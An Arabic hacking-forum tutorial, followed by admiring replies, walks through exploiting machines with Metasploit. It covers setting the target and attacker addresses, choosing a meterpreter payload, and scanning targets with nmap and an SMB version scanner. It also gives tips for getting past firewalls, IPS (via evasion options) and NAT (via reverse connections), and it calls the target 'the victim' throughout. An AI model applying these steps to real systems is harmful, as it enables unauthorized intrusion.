الدرس السادس : استغلال الثغرات والمشاكل التي نواجهها

[ViRuS_Ra3cH]

السلام عليكم ورحمه الله وبركاته

الدرس هذا ما كان بخطة الدوره لكن بعد الاسئله عن كيفيه استغلال الثغره والمشاكل التي تواجها , قررت اكتب هذا الدرس .

على العموم اعتذر على التأخر , لكن الدراسه وما تعمل .



استغلال الثغره اسهل مما تتصور .

بعد ما اخترنا الثغره عن طريق الامر use

بعد ما اخترنا الثغره نكتب show option




بعد ما نظرنا للمتغيرات

راح نجد RHOST

وتعني دائما اي بي الضحيه

ٌRPORT

وتعني دائما بورت الضحيه , غالبا ما انصح بتغييره الا اذا كانت الثغره تعمل على اكثر من بورت

بعدها نضع لكل المتغيرات قيمه .

set rhost اي بي الضحيه

set rport بورت الضحيه

بقي الان لنا payload

set payload payload na me

نكتب

show options



ظهرت لنا خيارات جديده وهي خيارات payload

LHOST وتعني ip المهاجم ,

LPORT وتعني بورت المهاجم

set lhost اي بي المهاجم

set lport بورت المهاجم

ثم اخر شيء نكتب exploit

ونشغل الثغره

ما اتوقع ان في اداه استغلالها اسهل من هذا , حتى البايزون التعامل معه اصعب


1- نختار الثغره

use windows/smb/smb

2- ننظر الى متطلبات الثغره

show option

3- نضع القيم للمتغيرات

set المتغير Abc

- نختار payload

set payload windows/meterpreter

- نضع المتغيرات للـ payload

set المتغير abc

- نستغل الثغره

exploit

استغلينا الثغره هل اخترقنا الضحيه ؟!

اذا قال عندك sessions open

عندك ضحيه , اذا ما قالها , يعني ما حصل شيء ,


طيب كيف نستغل الثغره ونعرف انها شغالها , عن طريق الفحص , افحص ضحيتك قبل الهجوم ,

وقبل تفحص ضحيتك , اجمع معلومات عنه .

عندك nmap nessus او amap , لا تهجم قبل تتأكد من ان البورت مفتوح وان النظام معروف

ممكن تخمن النظام عن طريق nmap ويعطيك النظام المتوقع , لكن اذا كان خدمه smb

شغاله , ففي هذه الحاله نقدر نعرف النظام 100 %

عن طريق الميتاسبلويت مثال :

msf > use auxiliary/scanner/smb/version
msf auxiliary(version) > set rhosts 192.168.1.2
rhosts => 192.168.1.2
msf auxiliary(version) > run[*] 192.168.1.2 is running Windows Vista Ultimate Service Pack 1 (********: Unknown) (****:BANDAR-PC) (domain:WORKGROUP)

msf auxiliary(version) >

اعطاني النظام والاسم والدومين


لكن خلونا نروح للـ nmap

msf auxiliary(version) > nmap -PN 192.168.1.2 -p 445 -O[*] exec: nmap -PN 192.168.1.2 -p 445 -O


Starting Nmap 5.00 ( http://nmap.org ) at 2010-01-15 05:45 EST
Interesting ports on 192.168.1.2:
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:1D:60:64:06:EC (Asustek Computer)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows Vista|2008
OS details: Microsoft Windows Vista SP0 or SP1 or Server 2008 SP1
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.62 seconds

اعطاني مثل ماتشوفون تخمينات ,


عرفنا كيف نختار الثغره اذا كانت ريموت ,

اذا كان الضحيه ما عنده بورت مفتوح ؟!

نروح لتغرات client-side attacks ,

80 % من النوعيه هذي ناجحه , واذا رجعت لهذه الثغرات راح تخترق , مثل تغرات المتصفح


طيب لو ما اشتغلت هذه الثغرات ,,

تأكد من الخيارات من جديد , تأكد انك وضعت جميع القيم للمتغيرات


خارج الايطار : شغل اداه tcpdump لتعرف ان ادواتك شغاله , مثلا لو استغلينا الثغره والميتاسبلويت توقف فجأه او صار اي شيء , راح تكون مراقب الترافيك وتعرف ,

صراحه انا صارت معي مشكله مع nmap فحص جهاز واخذت ساعه وربع وانا انتظر ,

nmap توقف فجأه وانا ما ادري , اخذت انتظر ثم شغلت tcpdump وعرفت ان الـ nmap

متوقف, لذلك من الافضل قبل تسوي اي هجوم شغل tcpdump لتعرف ان ادواتك شغاله على الوجه الصحيح


المهم نرجع لاهم الاسباب في فشل استغلال الثغرات

1- الضحيه لا يستخدم البرنامج المصاب

بعض المرات يكون البرنامج غير موجود وهذه ليست بالمشكله فهنالك العشرات من الثغرات النختلفه .

2- الجدار الناري يحجب الوصول الى البورت

بعض البورتات تكون محجوبه وبعضها لا , مثل تغرات SMB تستخدم اكثر من بورت

لذلك حاول تغير بين البورتات .

3- هنالك من يكشف الثغره ويقوم بحجبها مثل IPS

من الصعب التعامل مع هذه المشكله لكن الافضل هو التعامل مع evasion في الميتاسبلويت

ولا انصح المبتدأ التعامل معها

4- الضحيه ممكن يكون قابل للاستغلال الثغره لكن لم تستغل

هذه المشكله نادرا ما تحدث , وهي عندما تستغل الثغره , ممكن يصير شيء غير متوقع

وهي مثلا يصير له هانق "يهنق" او مثلا يعيد التشغيل

مره كنت اختبر ثغره جديده , الجهاز لي ما كان لأحد بمعنى اخر اختبر الثغره على جهازي

جهازي ما حدثته يعني الثغره لازم تشتغل , استغليت الثغره , وفجأه الجهاز وقف عن العمل لذلك

لذلك ممكن بعض المرات تواجهك هذه المشكله

5- الجهاز خلف nat

هذا اصبح معروف , جميع الاجهزه خلف نات , مافيه اي شخص الا ويستخدم مودم

لذلك يجب التأكد ان البورت مفتوح وايضا تأكد ان تستخدم اتصال عكسي .


SiLv3r00t

v4-team.com

[WOLF_DZ]

رائع اخي رعش
بارك الله بيك
تحيتي لك

[MdMn HaCk3r]

ابداع * ابداع
ماشاء الله عليك اخي رعش
الى الامام انشاء الله
تقبل مروري مدمن هكر

[shapola]

****اااااااااااااا يا بطل

[mohamedtebessa]

**** لك يا مبدع

[toxine]

thank you bro . موضوع رائع

[jago-dz]

****اا لك يا اخ

طبعاا افظل شئ تكتب الاوامر مثل RHOST SRVHOST RPORT LHOST

كابتل لتر كي ماتوقع في بعض الاخطاء أثناء الاستغلال exploit

[hicham hack]

**** يامبدع موضوع جميييييييييييييييييييييييييل

[l2le]

nice share